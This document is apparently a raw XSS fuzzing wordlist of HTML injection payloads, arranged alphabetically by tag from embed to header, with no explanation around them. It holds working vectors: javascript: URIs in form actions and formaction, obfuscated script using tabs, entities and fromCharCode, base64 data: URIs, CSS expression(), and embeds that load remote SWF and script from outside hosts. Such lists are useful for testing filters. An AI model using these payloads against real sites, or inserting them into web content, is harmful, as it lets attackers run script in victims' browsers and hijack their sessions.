<embed onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</embed>
<embed onfocus='popup=1;'><img
<embed src="data:image/svg+xml;>
<embed src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></embed>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<embed src="javascript:alert(1)"></embed> // O10.10â, OM10.0â, GC6â, FF<img src="javascript:alert(2)"><image src="javascript:alert(2)"> // IE6, O10.10â, OM10.0â<script src="javascript:alert(3)"></script> // IE6, O11.01â, OM10.1â
<embed src="javascript:alert(1)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF<img src="javascript:alert(2)"><image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓
<embed src=/ onload=alert(5)>
<embed src=URL onload=alert('xss')>
<embed src=URL onload=alert(5)>
<embed src=javascript:alert(1)>
<embed/:script allowscriptaccess=always src=//l0.cm/xss.swf>
<embed/code=//goo.gl/nlX0P?
<embed/src=//goo.gl/nlX0P>
<embed/src=”//goo.gl/nlX0P”>
<event-source src="event.php" onload="alert(1)">
<event-source src=javascript:alert(1)>
<feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage>
<fieldset onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" disabled="disabled" form="form_id" name="text">Test</fieldset>
<figcaption onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</figcaption>
<figure onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</figure>
<font onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</font>
<font style='color:expression(alert(1))'>
<footer onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</footer>
<form action="	javas	cript	:alert('X :)')" autocomplete="on"> First name:<input type="text" name="fname"><br><input type="submit"></form>
<form action="Javascript:alert(1)"><input type=submit>
<form action="Javascript:alert(1)"><input type=submit> // Firefox, IE
<form action="javas	cript:alert(1)" method="get"><input type="submit" value="Submit"></form>
<form action='data:text/html,<script>alert(1)</script>'><button>CLICK
<form action='java	scri	pt:alert(1)'><button>CLICK
<form action=javascript
:alert(1)><input type=submit>
<form action=javascript:alert(1)><input type=submit>
<form formaction=popup=1; onclick=popup=1;><object>
<form href='x'onclick=popup=1;><select>
<form id="myform" value="" action=javascript	:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>
<form id="myform" value=""+{valueOf:location,length:1,__proto__:[],0:"javascript :alert (1)"}"action=javascript	:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>
<form id="test" /><button form="test" formaction="javascript:alert(1)">X
<form id="test" /><button form="test" formaction="javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32))">X
<form id=frm><object id=x form=frm></object></form><script>alert(document.getElementById('x').form);</script>
<form id=test /><button form=test formaction=javascript:alert(1)>
<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>
<form id=test onforminput=prompt(1)><input></form><button form=test onformchange=prompt(2)>X</button>
<form name=self location="javascript&#58;alert(1)"></form><script>if(top!=self){top.location=self.location}</script>
<form name=self location="javascript:alert(1)"
<form onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" accept="file_type" accept-charset="character_set" action="URL" autocomplete="on" enctype="application/x-www-form-urlencoded" method="get" name="text" novalidate="novalidate" target="_blank">Test</form>
<form oninput=alert(1)></input></form>
<form/action='data:text/html,<script>alert(1)</script>'><button>CLICK // Mario
<form><button formaction="javascript:alert(1)">
<form><button formaction="javascript:alert(1)">X</button>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input type="image" value="submit" formaction=//goo.gl/nlX0P>
<form><isindex formaction="java	s&NewLine&cript:confirm(1)">
<frame onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</frame>
<frameset id="x"onload=popup=1;>
<frameset onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</frameset>
<frameset onload=popup=1;>
<frameset onload=prompt(1)>
<frameset onpageshow="alert(1)"> <body onpageshow="alert(1)"
<frameset/onpageshow=alert(1)>
<frameset/onpageshow=alert(1)>
<frameset><frame src="xss"></frameset>
<h1 _-_-_-ng_-_-_click="$event.view.location.replace('javascript:alert(1)')">XSS</h1>
<h1>X</h1>
<head onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</head>
<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>
<head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head>
<header onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</header>
